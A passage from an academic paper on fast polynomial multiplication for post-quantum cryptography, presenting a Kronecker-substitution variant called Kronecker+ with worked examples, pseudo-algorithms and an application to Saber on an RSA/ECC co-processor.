at a sufficiently high two-power 2ℓ for a positive integer ℓ,
and use the resulting integers as input for a regular integer

multiplication by computing h(2ℓ) = f (2ℓ) · g(2ℓ). Finally,

the resulting integer h(2ℓ) is converted back to its polynomial

representation h. The result is correct if the coefficients of the

resulting polynomial did not “mix” with each other, i.e. if the

parameter ℓ ∈ Z is sufficiently large.

The main advantage of this approach, computing a polyno-

mial multiplication by way of an integer multiplication, is that

well-studied and fast implementations of asymptotic integer

multiplication methods can be used. It allows contemporary

co-processors containing integer-multiplication acceleration

for speeding up “classical” cryptography to be re-used for

the polynomial multiplications that appear in post-quantum

cryptographic primitives. This was first investigated by Al-

brecht, Hanser, Hoeller, Pöppelmann, Virdia and Wallner [1],

who used an RSA co-processor for the implementation of

Kyber-768, and subsequently applied by Wang, Gu and Yang

to an implementation of Saber [38].

Note that [1] applies this technique to polynomial mul-

tiplication modulo Xn
+ 1, as opposed to generic multipli-

cation. Interestingly, although the coefficients of f · g and

( f · g) mod Xn
+ 1 differ, their upper and lower bound do

not. Indeed, a coefficient of f · g can be the sum of at most

n products of coefficients of f and g, while a coefficient of

( f · g) mod Xn
+ 1 is the sum of exactly n such coefficient

products. Therefore the choice of ℓ remains the same regard-

less of reduction modulo Xn
+ 1. In particular, this implies

that reduction modulo Xn
+ 1 can also be done as an inter-

mediate step in the Kronecker domain as reduction modulo

2nℓ
+1.

Example 3. Let f and g be as chosen in Example 1. As
they have (at most) 8 coefficients and they lie in the interval
[−3,3], the coefficients of h (modulo Xn

+1) lie in the interval

[−8 · 32,8 · 32
] and can therefore be represented with ℓ = 8

bits. Therefore, we find

f (28
) =−215893506177302531,g(28

) = 847714908832003,

and compute the product h(28
)≡ 16932392214669820680 mod

264
+1 . Notice that here we apply the intermediate reduction

modulo X8
+1 in the Kronecker domain as reduction modulo

264
+ 1. We retrieve the coefficients of h by converting to a

base-256 representation. As f and g have signed coefficients
in [−3,3], it is important to also take the signed representation

h(28
) = 7+3 ·28

−4 ·216
−15 ·224

+2 ·232

−15 ·240
−4 ·248

−21 ·256

with 8-bit limbs in [−8 · 32,8 · 32
]. Interestingly, one

can also apply Kronecker substitution to the interme-

diate multiplication in Nussbaumer (see Example 2).

Evaluating Ψ( f )(Y i
) and Ψ(g)(Y i

) for i = 0,2,4,6 at

28 leads to the tuples [−33686531,−1,67239421,33552891],

[50398468,83821312,50004226,16581382], which are pairwise

multiplied to [−521737972,−83821312,184878854,419091170].

The multiplications are to be reduced modulo Y 4
+ 1, and

hence modulo 232
+ 1 in the Kronecker domain. From here

the regular Nussbaumer algorithm can be followed, with an

additional final recovery to polynomial representation. These

are 4 multiplications of (approximately) 32 bits each, as op-

posed to 1 multiplication of 64 bits for regular Kronecker.

2.3.2 Multipoint Kronecker Substitution

The size of the integers that are multiplied when applying

Kronecker substitution, which impacts the efficiency of the

algorithm, is strongly related to the size of ℓ. Simply put, the

larger ℓ, the larger the integers and the slower the multipli-

cation. On the other hand, ℓ needs to be at least as large as

the maximum bit length of the coefficients of h in order to

recover the polynomial h from h(2ℓ) correctly.

One of the main observations made by Harvey [16, §3.3]

was that the size of ℓ can be reduced by splitting up the poly-

nomial evaluation into two parts. Assuming for simplicity

that ℓ is even, Harvey computes

h(2ℓ2
) = f (2ℓ2

)g(2ℓ2
) , h(−2ℓ2

) = f (−2ℓ2
)g(−2ℓ2

) ,
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where ℓ2 = ℓ/2. He then observes that

h(0)(2ℓ) = (h(2ℓ2
)+h(−2ℓ2

))/2 ,

h(1)(2ℓ)=(h(2ℓ2
)−h(−2ℓ2

))/(2 ·2ℓ2
) ,

where h(i) denotes the polynomial whose j-th coefficient

equals the (2 j+ i)-th coefficient of h. In other words,

h(0)(2ℓ) = ∑
n/2−1
j=0 h2 j2

jℓ , and h(1)(2ℓ) = ∑
n/2−1
j=0 h2 j+12 jℓ .

The coefficients of h can therefore be recovered as the ℓ-bit

limbs h(0)(2ℓ) and h(1)(2ℓ).

Denoting by M(b) the cost of multiplying two b-bit inte-

gers, this approach changes the cost of the polynomial multi-

plication in Z[X ] from M(ℓn)+O(ℓn) in the case of standard

Kronecker substitution, to 2 ·M(ℓn/2)+O(ℓn). Here the big-

O terms incorporate the cost of packing and unpacking. This

can lead to a significant speedup whenever the cost of multi-

plying is (relatively) expensive. In particular, this approach

was used in the ring Z[X ]/(X256
+1) with applications to Ky-

ber (see [1]) and Saber (see [38]) to speedup their respective

implementations based on co-processors.

In fact, Harvey considers a second approach to split up

the evaluation into four parts by also evaluating at the recip-

rocal f (2−ℓ), that gives rise to multiplication with a cost of

4 ·M(ℓn/4)+O(ℓn). In particular, it was not considered prac-

tical in the previously mentioned implementations of Kyber

and Saber. We therefore omit the details as we do not discuss

it further.

Example 4. Let f and g be as chosen in Example 1 and
choose ℓ= 8 as in Example 3. We compute

[ f (24
), f (−24

)] = [3504336126,824184061] ,

[g(24
),g(−24

)] = [53355283,47047411] ,

from which we obtain [h(24
),h(−24

)] ≡

[2870021177,1290988502] with two multiplications mod-
ulo 232

+1. It follows that

h(0)(28
) = 8+252 ·28

+1 ·216
+252 ·224 ,

h(1)(28
) = 4+241 ·28

+240 ·216
+234 ·224 ,

or, in signed representation, that

h(0)(28
)≡ 7−4 ·28

+2 ·216
−4 ·224 ,

h(1)(28
)≡ 3−15 ·28

−15 ·216
−21 ·224

modulo 232
+ 1. The coefficients from h can now simply be

read off. Note that this requires only 2 multiplications of

(about) 32 bits each, compared to 4 for Nussbaumer combined

with Kronecker.

2.3.3 Schönhage-Strassen

For the description of the Schönhage-Strassen algorithm [31],

we base ourselves on the nice exposition of the implemen-

tation in the GMP library [15, §1] and Bernstein’s paper [4,

§9]. We assume that the integers we multiply are outputs

of Kronecker substitution of the form F = f (2ℓ) and G =

g(2ℓ), and we want to compute their product H = h(2ℓ) in

Z[X ]/(2ℓn+1), i.e., modulo the polynomial modulus (Xn
+1)

evaluated at 2ℓ. Interestingly, we begin by viewing the integers

as polynomials by applying the map

Φ : Z/(2ℓn +1)→ Z[X ]/(X t
+1)

F = ∑
t−1
i=0 Fi ·2

ℓn/t
7→Φ(F) = ∑

t−1
i=0 Fi ·X

i ,

in other words viewing the ℓn/t-bit limbs as coefficients of

a polynomial of degree (at most) t − 1. Note that here we

can assume that Ft = 0, as F = f (2ℓ) is a polynomial with

degree at most n− 1 evaluated at 2ℓ, and hence is strictly

smaller than 2nℓ (and similarly for G). It can be shown

that the coefficients of Φ(F)Φ(G) can be represented with

2ℓn/t + t bits [15, §1], implying that it can be recovered as

the unique representative of the product of Φ(F) and Φ(G)

embedded in Z/(22ℓn/t+t
+1)[X ]/(X t

+1). The main obser-

vation now is that the coefficient ring for this multiplication is

Z/(22ℓn/t+t
+1), which contains a principal 2t-th root of unity

ζt = 22ℓn/t2
+1, under the additional assumption of t2

| 2ℓn
(note that this is weaker than Nussbaumer, which requires

t2
| n). We can use the (principal) t-th root of unity ζ

2
t to

construct a negacyclic NTT to reduce this multiplication to

t multiplications in Z/(22ℓn/t+t
+1), of approximately 2ℓn/t

bits each (assuming n≫ t), after which we can invert Φ to

recover H.

Example 5. Let f and g be as chosen in Example 1. As we
require that t2

| 2ℓn = 128, the largest choice we can take is
t = 8. In that case

Φ(F) = [254,255,252,254,255,253,0,253] ,

Φ(G) = [3,1,3,2,254,2,3,0] ,

representing polynomials in Z[X ]/(X8
+ 1). Applying a

negacyclic NTT with 8-th root of unity ζ
2
8 = 64, we obtain

the tuples [3191766,12617514,13706294,6361802,15707175,

16751308,5128135,10424123], [1893579,12329652,12869428,

336707,1760443,3940051,4415315,12786500], that are mul-

tiplied pairwise to [2864000,10297389,10680185,15308322,

14753371,6584086,650929,5442338], modulo 224
+ 1 (note

that 24 here is the first multiple of 8 larger than 16).

Inverting the negacyclic NTT gives the tuple [−66031,

−65274,−4,−62734,66295,66799,66806,67813]. Viewing

these as the 8-bit limbs of an integer, we obtain the product

16932392214669820680 of F and G in Z/(264
+ 1). This

can be reverted to polynomial representation by inverting the

Kronecker map (see Example 3).
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2.4 Public-key Hardware Co-processors

A typical hardware accelerator or cryptographic co-processor

enhances the security and performance of hash-functions, ran-

dom number generation, symmetric key or public-key cryptog-

raphy. In the last category, the core of this accelerator is typi-

cally dedicated to multiplication and accumulation of large

integers. One possible way of thinking about such hardware-

supported instructions used to construct arbitrary length mul-

tiplication routines, is that given w-bit inputs a, b, and c it

computes

(a⊘ c1)× (b⊖ c2)+ c⊙d

where ⊘, ⊖, and ⊙ are optional operations with optional in-

puts c1, c2 and d. Concrete examples include (1) the multiply-

and-accumulate instruction present on many modern com-

puter architectures (omitting all optional operations), (2) the

multiply-and-accumulate-accumulate (where⊙ equals the “+”

operation) as present on the ARMv6 and above, and (3) the

ARM barrel shifter where ⊖ could be a shift or rotate instruc-

tion. The multiply-and-accumulate-accumulate instruction

can be used as a building block for arbitrary length multiplica-

tion and therefore also Montgomery multiplication: making

this an essential building block for the most time-consuming

operation in both RSA and ECC. Given the word size w, the

instruction then computes d = a ·b+ c+d where all inputs

are < 2w and the output is ≤ (w−1)2
+2(w−1)< 22w.

Although the exact internal bit size of these co-processors

is often kept secret, the word size is expected to be larger

than the native word size on the embedded device (which is

typically 8, 16, or even 32 bits). Typical examples of such co-

processors are NXP’s P71D321 [27], Infineon’s SLE78 [17],

or Espressif’s ESP32 [12]. The accompanying technical doc-

ument often state that these co-processors can be used to

compute RSA (often up to 4096 bits) and ECC. It should be

noted that the upper bound on the number of supported bits is

often due to a restriction on the available memory.

3 Kronecker+

In this section we discuss a new multiplication technique that

can be viewed as a generalization of the negated-evaluation-

points idea by Harvey [16, §2.3] and as a variant of Nuss-

baumer when combined with Kronecker substitution. Its main

improvement with respect to [16] is that there is less limitation

on the depth: whereas Harvey’s method reduces a polynomial

multiplication to two integer multiplications that are half the

length compared to Kronecker substitution, we allow reduc-

ing to t multiplications of fraction (1/t) of the length. For this

we require that t | n and t | ℓ, which in particular implies that

that t2
| 2ℓn (as was needed for Schönhage-Strassen). Hence t

cannot be chosen completely freely, but the degree of freedom

is much larger than for Harvey.

Compared to Nussbaumer we reduce the number of re-

quired multiplications. As can be seen in §2.2.3, Nussbaumer

requires 2t multiplications of polynomials with n/t coeffi-

cients each. Applying Kronecker (i.e., evaluating at 2ℓ) we

would compute 2t multiplications of approximately ℓn/t bits

each. Instead, Kronecker+ requires only t such multiplica-

tions. The overhead of the forward and backward transforma-

tions is comparable.

3.1 An Alternative Transformation

We begin the description by revisiting the Nussbaumer al-

gorithm, and proposing an alternative version. Initially, this

will seem to serve no purpose as it does not lead to a reduced

number of operations for polynomial multiplication. How-

ever, we show in §3.2 that this variant combines much better

with Kronecker substitution and that Harvey’s negated evalu-

ation points technique can be considered a special case of our

algorithm.

As usual, we assume that f and g are polynomials of degree

(at most) n−1 in Z[X ]/(Xn
+1). Our alternative transforma-

tion starts identical to Nussbaumer by applying the map Ψ

from Equation (1), obtaining Ψ( f ) and Ψ(g) in the ring

(Z[Y ]/(Y n/t
+1))[X ]/(Y −X t

) .

This map is also used by [1, §4], which they refer to as “split-

ting the ring”. They view Ψ( f ) and Ψ(g) as degree t − 1

polynomials in X , and multiply them through the schoolbook

or Karatsuba algorithm, leading to t2 or 3log t multiplications

in Z[Y ]/(Y n/t
+1) respectively. Alternatively, the strategy of

Nussbaumer could be taken: canonically lift to (Z[Y ]/(Y n/t
+

1))[X ] and embed in (Z[Y ]/(Y n/t
+ 1))[X ]/(X2t

− 1) to ap-

ply a cyclic NTT to [F0, . . . ,F2t−1] and [G0, . . . ,G2t−1] with

respect to 2t-th principal root of unity ζ2t = Y n/t2
, where

Ψ( f ) = ∑
t−1
i=0 Fi(Y )X

i and Ψ(g) = ∑
t−1
i=0 Gi(Y )X

i. This leads

to the 2t multiplications

Ψ(h)(ζi
2t) = Ψ( f )(ζi

2t) ·Ψ(g)(ζi
2t) , for i = 0, . . . ,2t−1 ,

in Z[Y ]/(Y n/t
+1).

However, for Kronecker+ we deviate from both these ap-

proaches. As opposed to Nussbaumer, we only consider the

length-t tuples [F0, . . . ,Ft−1] and [G0, . . . ,Gt−1] and take the

principal t-th root of unity ζt = Y 2n/t2
. Further, we apply

weight factors X i to the i-th element, i.e., apply a cyclic NTT

with respect to ζt to the length-t tuples

[F0 ·X
0 , . . . ,Ft−1 ·X

t−1
] , [G0 ·X

0 , . . . ,Gt−1 ·X
t−1

] .

This results in the tuples

[

∑
t−1
i=0 ζ

i j
t FiX

i
]

j
, and

[

∑
t−1
i=0 ζ

i j
t GiX

i
]

j
.

An interesting observation at this point is that we can combine

the application of Ψ and the NTT (including weight factors)

in a single step, showing that the latter tuples are simply
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equal to [ f (ζ
j
t ·X)] j and [g(ζ

j
t ·X)] j respectively. Although

this is nice conceptually, we expect that an implementation of

this algorithm would most likely separate Ψ from the NTT,

making it easier to apply Cooley-Tukey-style butterflies [10]

to the computation (see §3.3.2).

Next we perform the t multiplications

h(ζi
t ·X) = f (ζi

t ·X) ·g(ζi
t ·X) , for i = 0 , . . . , t−1 . (3)

Inverting the NTT with respect to ζt (including dividing by

t), removing the weight factors, and possibly performing an

explicit reduction modulo Y −X t , gives the result Ψ(h). From

this we can recover h by inverting Ψ.

It should be noted at this point that the polynomials f (ζi
t ·X)

and g(ζi
t ·X) do not actually lie in Z[Y ]/(Y n/t

+1), but instead

still in (Z[Y ]/(Y n/t
+1))[X ]/(Y −X t

). Therefore we have re-

duced a single multiplication in (Z[Y ]/(Y n/t
+ 1))[X ]/(Y −

X t
) to t of them. This does not make any sense from a perfor-

mance perspective, and we do not suggest to use this method

as described here for polynomial multiplication. However, in

the next section we show that this approach has significant

advantages in combination with Kronecker substitution.

Remark 1. The essential problem at hand here is that Nuss-

baumer performs polynomial multiplication modulo Y −X t ,

but has to lift to the modulus X2t
−1 to apply the cyclic NTT

with 2t-th root of unity, doubling the degree of the modulus in

the process. To resolve this, we could try to map X 7→ X/Y 1/t

to arrive in a polynomial ring with modulus X t
−1 and use a

t-th root of unity for a cyclic NTT. This is exactly the alterna-

tive transformation we describe above. However, symbolically

this leads nowhere since Y 1/t is not an element of the coeffi-

cient ring. As we will show in §3.2, this can be resolved by

applying Kronecker substitution which maps Y 7→ 2ℓ/t
∈ Z,

which does lie in the coefficient ring.

3.2 Applying Kronecker

The true strength of reducing to the multiplications in Equa-

tion (3) comes from applying the (slightly modified) Kro-

necker substitution

K : (Z[Y ]/(Y n/t
+1))[X ]/(Y −X t

)→ Z/(2ℓn/t
+1)

F = ∑
t−1
i=0 Fi(Y ) ·X

i
7→ ∑

t−1
i=0 Fi(2

ℓ
) ·2iℓ/t .

The mapping K maps Y 7→ 2ℓ and X 7→ 2ℓ/t and ensures that

the map is well-defined modulo Y −X t . In particular, this

maps

ζt 7→ 22ℓn/t2
,

f (ζi
t ·X) 7→ f (22iℓn/t2

·2ℓ/t
) , g(ζi

t ·X) 7→ g(22iℓn/t2
·2ℓ/t

) .

Hence, the multiplications in Equation (3) can be reduced

to t multiplications in Z/(2ℓn/t
+1). This means computing

t multiplications of ℓn/t + 1 bits each instead of a single

Algorithm 1 Pseudo-algorithmic simple description of

Kronecker+.

Input: f ,g∈Z[X ]/(Xn
+1) for a positive integer n, the Kro-

necker parameter ℓ and a positive integer t such that t | ℓ

and t | n, and Mi = 22iℓn/t2
·2ℓ/t for 0≤ i < t

Output: h = ∑
n−1
i=0 hiX

i
= f ·g mod Xn

+1

1: Compute f (Mi) and g(Mi) for i = 0, . . . , t−1.

2: Compute h(Mi) = f (Mi) · g(Mi) mod 2ℓn/t
+ 1 for i =

0, . . . , t−1.

3: Compute

h(i) =
∑

t−1
j=0 22i(t− j)ℓn/th(Mi)

t ·2iℓ/t
mod 2ℓn/t

+1

for i = 0, . . . , t−1.

4: Recover hi+t j as the j-th ℓ-bit limb of h(i) for 0 ≤ i < t

and 0≤ j < n/t.

multiplication of ℓn bits. Recall that combining Nussbaumer

with Kronecker substitution leads to 2t such multiplications.

For completeness, we summarize the proposed method in

Algorithm 1 which we refer to as Kronecker+.

We can now see that Algorithm 1 is a generalization of the

method of Harvey [16, §3.3]; setting t = 2 and ζ2 = 2ℓn/2
≡

−1 mod 2ℓn/2
+ 1 in Algorithm 1 is the same as applying

Harvey’s approach. In fact, we generalize his method by also

considering the case t > 2, whereas Harvey does not go be-

yond t = 2 (at least not for negated evaluation points). This

generalization is made possible by the existence of t-th roots

of unity in Z[Y ]/(Y n/t
+1) via the map Ψ on Z[X ]/(Xn

+1),

which do not exist for generic integer polynomial multipli-

cation in Z[X ]. Of course we can always embed any integer

polynomial of degree (at most) n−1 into a ring of the form

Z[X ]/(X2n
+ 1) and apply Ψ to reduce to t multiplications

in Z[Y ]/(Y 2n/t
+1). This comes at the cost of approximately

doubling the bit size for the multiplications.

To illustrate our algorithm, we provide an example. Note

for comparison that in Example 6 we reduce the polynomial

multiplication to 8 multiplications, each of 9 bits, using a

transformation very similar to Schönhage-Strassen and Nuss-

baumer. However, Nussbaumer (see Example 2) requires that

t2
| n and therefore only allows t = 2, while even in that case

needing 4 multiplications (whereas Kronecker+ only uses

2). On the other hand, Schönhage-Strassen (see Example 5)

allows for t = 8, but reduces to 8 multiplications of 25 bits

each.

Example 6. Let f and g be as chosen in Example 1,

where n = 8, and choose ℓ = 8 as in Example 3. There-

fore we can choose t = 8 as well, as it divides both n

and ℓ. As n = t, splitting the ring simply gives Ψ( f ) =

f and Ψ(g) = g. Therefore, multiplying by the weights

X i we get tuples [−3,0,−3X2,−X3,0,−2X5,X6,−3X7
], [3,X ,
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3X2,2X3,−2X4,3X5,3X6,0], respectively. Applying the map

K that maps X 7→ 2ℓ/t
= 2 gives [254,0,245,249,0,193,64,

130], [3,2,12,16,225,96,192,0], where each entry is taken mod-

ulo 2ℓn/t
+ 1 = 28

+ 1. We now take the cyclic NTT with

respect to the t-th root of unity ζt 7→ 22ℓn/t2
= 4 mod-

ulo 28
+ 1, leading to the tuples [107,228,53,131,248,161,

94,239], [32,116,51,47,61,105,254,129]. These are multiplied

pairwise to give [83,234,133,246,222,200,232,248]. Invert-

ing the NTT leads to [7,6,241,137,32,34,1,139], and undoing

the weights X i
7→ 2iℓ/t

= 2i in the Kronecker domain gives

[7,3,253,242,2,242,253,236]. Finally, converting to a signed

representation gives the tuple [7,3,−4,−15,2,−15,−4,−21],

whose entries correspond to the coefficients of h.

3.3 Algorithmics

Although the description in Algorithm 1 is nice and com-

pact, it is not immediately clear how efficiently it can be im-

plemented. Indeed, polynomial evaluations f (Mi) and g(Mi)

initially appear to be of quadratic complexity in t, while mul-

tiplications by roots of unity and divisions by t and 2iℓ/t could

be costly. In this section we make some comments on algo-

rithmic choices to implement Kronecker+ most optimally on

modern (embedded) platforms.

3.3.1 Parameter choices

Even though it is not technically necessary for Kronecker+,

division by t is most efficient to implement whenever it is a

power of two t = 2τ. This means it can simply be computed as

a bit shift by τ bits. The same holds for division by the weights

2iℓ/t . As it is very common to set ℓ to a power of two (since it

makes Kronecker substitution easy to implement on modern

platforms), this is not serious restriction. The requirement on

Kronecker+ that t | ℓ then can be rewritten as the equivalent

condition τ≤ log(ℓ). Finally, since we must satisfy t | n, the

choices of n most suitable for Kronecker+ are those that are

divisible by a power of two.

These constraints appear very naturally in the context of

cryptographic primitives. For example, the NIST KEM final-

ists Kyber (q= 3329) and Saber (q= 213) perform polynomial

multiplication in Zq[X ]/(X256
+1). In that case n = 256 and

one can show that ℓ = 32 suffices (see §4.1), in which case

we will have τ ≤ 5. We emphasize that in this case apply-

ing τ = 2 reduces the 8192-bit multiplication (by Kronecker

substitution) to 4 multiplications of approximately 2048 bits

each, which can be handled by the RSA co-processor in [1].

Instead, in their work they resort to Harvey’s method with

an additional layer of schoolbook multiplication, resulting in

8 multiplications of 2048 bits each. In this case Kronecker+

therefore halves the number of required multiplications: al-

ready showing its strength compared to alternatives.

3.3.2 Butterfly operations

There is further reason to set t to be a power of two. Line 1 of

Algorithm 1 can be decomposed into three steps:

1. Compute Fi(2
ℓ
) and Gi(2

ℓ
) for i = 0, . . . , t−1,

2. Compute 2iℓ/tFi(2
ℓ
) and 2iℓ/tGi(2

ℓ
) for i = 0, . . . , t−1,

3. Compute f (Mi) =∑
t−1
j=0 22i jℓn/t2

Fj(2
ℓ
)2 jℓ/t and g(Mi) =

∑
t−1
j=0 22i jℓn/t2

G j(2
ℓ
)2 jℓ/t .

The first step is essentially free if the coefficients are posi-

tive (as they can be all be represented with less than ℓ bits),

since it is just a matter of reordering the coefficients of f and

g. It becomes more complicated when the coefficients are

signed, since we have to take carries into account. This be-

comes particularly tedious when attempting to compute this

in constant time, as f and g can contain secret information in

certain settings (e.g., for Kyber and Saber). It is mentioned

by [1, §5.3] that this costs some performance, but no further

details are given. We propose a fairly simple solution in the

case that all coefficients are greater than −q for some integer

q, for example when sampled from Zq in an interval of size q

centered around 0. Letting Q = ∑
n/t−1
j=0 qX j, we compute

Fi(2
ℓ
) = (Fi +Q)(2ℓ)−Q(2ℓ) ,

Gi(2
ℓ
) = (Gi +Q)(2ℓ)−Q(2ℓ) ,

(4)

noting that Fi +Q and Gi +Q are polynomials with positive

coefficients. In settings where q is known in advance (which

is the case for all relevant cryptographic schemes such as

Kyber and Saber), the polynomial Q(2ℓ) can be precomputed.

The additional cost is therefore t additions of polynomials

of degree n/t−1 and t subtractions in Z/(2ℓn/t
+1), both of

which are very easily implemented in constant time.

The second step requires shifts by 2iℓ/t , which are cheap

and often even free through the use of (for example) barrel

shifters. Moreover, if iℓ/t is a multiple of the word size of

the platform, then such shifts can be implemented by simply

relabeling words. There can potentially be an additional cost

by adding a reduction modulo 2nℓ/t
+1, but this has linear cost

and can even be completely avoided by using lazy reduction

techniques.

The main cost comes from the third step. However, the ad-

vantage of decomposing Line 1 of Algorithm 1 in this fashion

should now be clear: computing the linear combinations has

naïve complexity of O(t2
) operations, but can instead be im-

plemented with complexity O(t log t) by using Cooley-Tukey

butterflies [10]. These are particularly easy to implement

when t is a power of two. Note that the butterfly algorithm

also requires several multiplications by roots of unity 22i jℓn/t2
,

but these are constructed to be powers of two. Therefore

these multiplication operations can be computed with simple

shifts, or by relabeling words if 2i jℓn/t2 is a multiple of the

word size. In addition, one can see that many of them vanish
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t = 2

(F0,F1) = (F0 +F1,F0−F1).

t = 4

(F0,F1,F2,F3) = (F0 +F1,F0−F1,F2 +F3,F2−F3),

(F0,F2,F1,F3) = (F0 +F2,F0−F2,F1 +(F3≪ 1024),F1− (F3≪ 1024)).

t = 8

(F0,F1),(F2,F3) = (F0 +F1,F0−F1),(F2 +F3,F2−F3),
(F4,F5),(F6,F7) = (F4 +F5,F4−F5),(F6 +F7,F6−F7),
(F0,F2),(F1,F3) = (F0 +F2,F0−F2),(F1 +(F3≪ 512),F1− (F3≪ 512)),
(F4,F6),(F5,F7) = (F4 +F6,F4−F6),(F5 +(F7≪ 512),F5− (F7≪ 512)),
(F0,F4),(F1,F5) = (F0 +F4,F0−F4),(F1 +(F5≪ 256),F1− (F5≪ 256)),
(F2,F6) = (F2 +(F6≪ 512),F2− (F6≪ 512)),
(F3,F7) = (F3 +(F7≪ 768),F3− (F7≪ 768)).

Figure 1: Example operations required for the NTT with t-

th root of unity 216384/t2
for choices τ = 1,2,3, where all

operations take place in the ring Z/(28192/t
+ 1). Here we

write Fi = 232i/t
·Fi(2

32
) and compute the NTT in place.

modulo 2ℓn/t
+1. Completely analogous statements apply to

Line 3 of Algorithm 1, which is in essence an inverse NTT.

By way of example, we summarize the required operations

for n = 256 and ℓ= 32 (the setting of Kyber and Saber) for

τ = 1,2,3 in Figure 1. A similar structure is preserved for

larger τ, but becomes more tedious to write down. The opera-

tions demonstrate that the number of additions/subtractions

is simply t log t, as expected. In particular, it shows that the

case t = 2 reduces to the same operations as computed by

Harvey [16].

3.3.3 Multiplication

The multiplications in Line 2 of Algorithm 1 are technically

the most straightforward operations: simply multiplying t

pairs of integers modulo 2ℓn/t
+1. The reduction can be per-

formed by observing that 2ℓn/t
≡−1 mod 2ℓn/t

+1 and sub-

tracting the top half from the bottom. An interesting remark

can be made about the size of the multiplier. As integers mod-

ulo 2ℓn/t
+1 can be represented in ℓn/t +1 bits, while t is a

power of 2, we will need a slightly awkward size. For exam-

ple, for n = 256 and ℓ= t = 32 we need a 257-bit multiplier.

A similar problem arises in [1], who use a multiplier that can

handle integers slightly larger than 2048 bits.

A particularly interesting case is where the internal word

size w of the co-processor is fairly small. In that case, as-

suming for simplicity that wt | ℓn, we need exactly ⌈(ℓn/t +

1)/w⌉ registers with a total of ℓn/t +w bits to represent the

(ℓn/t +1)-bit integers. As the w−1 redundant bits should be

more than enough to accumulate the values during the for-

ward butterfly (e.g., when w = 64 or w = 128), no reductions

modulo 2ℓn/t
+1 are necessary before multiplying values with

⌈(ℓn/t+1)/w⌉ limbs each. This application of lazy reduction

simplifies the computations of the butterflies.

3.3.4 Recovering polynomials

The final step in Kronecker+ (see Line 4 of Algorithm 1) is

to convert the integer(s) result of the inverse NTT back to the

polynomial representation in Z[X ]/(Xn
+1). This conversion

is denoted as “sneeze” in [1, Algorithm 8] and also supports

signed coefficients. This operation would be particularly sim-

ple if the coefficients hi of h = f · g are guaranteed to be

positive, but this will not always be the case in cryptographic

contexts. We make two simplifications compared to [1]: first,

we remove the variable-time if-statement that depends on

the (potentially secret) input that checks whether a limb is

larger than 2ℓ−1. We replace this by Line 5 in Algorithm 2

that computes the carry bit as a simple “or” operation of two

bits. Second, we remove the explicit subtraction of 2ℓ to move

the values hi from the interval [0,2ℓ−1] to [−2ℓ/2,2ℓ/2
−1]

since this can be achieved with a cast to a signed value, i.e., by

simply interpreting the bit representation in a different way.

The full algorithm is summarized in Algorithm 2.

Algorithm 2 Coefficient recovery in Z[X ]/(Xn
+1).

Input: t integers h(i) = ∑
n/t

j=0 ai, j ·2
jℓ with ai, j ∈ [0,2ℓ−1]

Output: h = ∑
n−1
i=0 hi ·X

i with hi ∈ [−2ℓ/2,2ℓ/2
−1]

1: for i = 0,1, . . . , t−1 do

2: carry← 0

3: for j = 0,1, . . . ,n/t−1 do

4: limb← ai, j + carry

5: carry← (limb≫ (ℓ−1)) | (ai, j≫ (ℓ−1))

6: h j·t+i← limb

7: hi← hi− (carry+ai,n/t)

4 Implementation Results

The goal of this section is to support the claims on runtime

made in §3.3. For this purpose we focus on the context of

cryptographic implementations with the help of contemporary

co-processors that support integer multiply or multiply-and-

accumulate operations. In particular, we focus on the Saber

parameter set and contrary to the approach used in [1] we

remain compatible with the specification. Our target is the

RV32IMC platform which implements the basic 32-bit integer

instruction set of RISC-V together with (among others) the

M-extension of multiplication and division instructions. This

platform has access to a dedicated arithmetic co-processor

designed to accelerate RSA and ECC and can perform ar-

bitrary length (modular) arithmetic up to 4096 bits. All our

software is written in C with intrinsic instructions for calls to

the co-processor. This is in line with existing work that imple-

ments Kronecker variants on a fixed choice of co-processor.

For example, [1] implement Kyber on the SLE78 with a (ap-

proximately) 2048-bit multiplier, while Wang, Gu and Yang
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implement Saber on the ESP32 with a big integer multiplier

of 1536 or 2048 bits [38].

4.1 Kronecker+ for Saber

In this section we discuss the application of Kronecker+ to

the Round 3 version of Saber. The arithmetic core in Saber is

to multiply a k×k matrix A with a k×1 vector s, where the en-

tries of the matrix and vectors are elements of Zq[X ]/(X256
+

1) for q = 213. This operation is typically referred to as

MatrixVectorMul. A similar operation called InnerProd

performs an inner product of two k× 1 vectors. More con-

cretely, the main operation is to multiply and accumulate k

polynomials as bi = ai,0 · s0 + . . .+ai,k−1 · sk−1 which in turn

has to be performed for 0≤ i < k for MatrixVectorMul, and

for i = 0 for InnerProd. When using Kronecker substitution,

from a performance point of view, it is beneficial to multiply

and accumulate these k polynomials in integer representation

to avoid converting them back separately (requiring k times

fewer inverse transformations of Kronecker substitution).

In order to determine the required precision in Kronecker

(i.e. the parameter ℓ), the bounds on the input need to be de-

termined. Recall from §2.3.1 that the bound ℓ is independent

of the modulus X256
+1. The coefficients of the polynomial

ai, j are uniform in Zq and can be represented in the inter-

val [−q/2,q/2− 1] = [−212,212
− 1] since q is even. The

coefficients of s j are samples in [−ν,ν], where ν = 5,4,3 de-

pending on the security level (here ν = µ/2 where µ = 10,8,6
in the Saber specification). This means that the product of

2 coefficients lies in the interval [−212
ν,(212

−1)ν], requir-

ing at most ⌈log(213
ν− ν+ 1)⌉ bits to represent. As each

coefficient of the product is an accumulation of k ·256 such

coefficients, for a signed version of Kronecker it is sufficient

to set ℓ = ⌈log(213
ν−ν+1)+ log(k ·256)⌉. This results in

ℓ= 25 for all security levels of Saber. However, as also noted

in [1], it is beneficial to use ℓ= 32 such that it aligns nicely

with the byte boundaries and 32-bit datatypes on modern com-

puter architectures. Moreover, many of the required steps in

Kronecker simplify.

A completely analogous analysis can be made for Kyber

and Dilithium, whose polynomial rings are very similar to

that of Saber from the perspective of Kronecker+. However,

for Kyber and Dilithium the situation is different. The ap-

proach taken in the NIST submission by Kyber optimizes for

polynomial multiplication with the proposed NTT approach

described in [33]. An example is that the large Kyber matrix

A ∈ (Zq/(X
256

+ 1))k×k, for the Kyber modulus q = 3329

and the parameter k ∈ {2,3,4} depending on the parameter

set, is sampled directly into the NTT domain. These design

decisions have an impact on the performance of alternative

approaches. When considering the Kronecker approach, the

authors of [1] note that this “basically nullify all gains from a

different and faster algorithm for polynomial multiplication”

and decide not to be compatible with the Kyber specification.

Function # Muls # Adds

phi_and_shift – –

make_signed – t

forward_bfly – t log t +T (τ)

make_positive – t

multiply t 2t

backward_bfly – t log t +T (τ)

divide_twos – 2t

recover_coeffs – –

Table 2: Number of (ℓn/t + 1)-bit multiplications and addi-

tions used in our implementation for the various parts of the

Kronecker+ algorithm where T = [0,0,1,5,17,49, . . .] is a

lookup table containing the number of required multiplica-

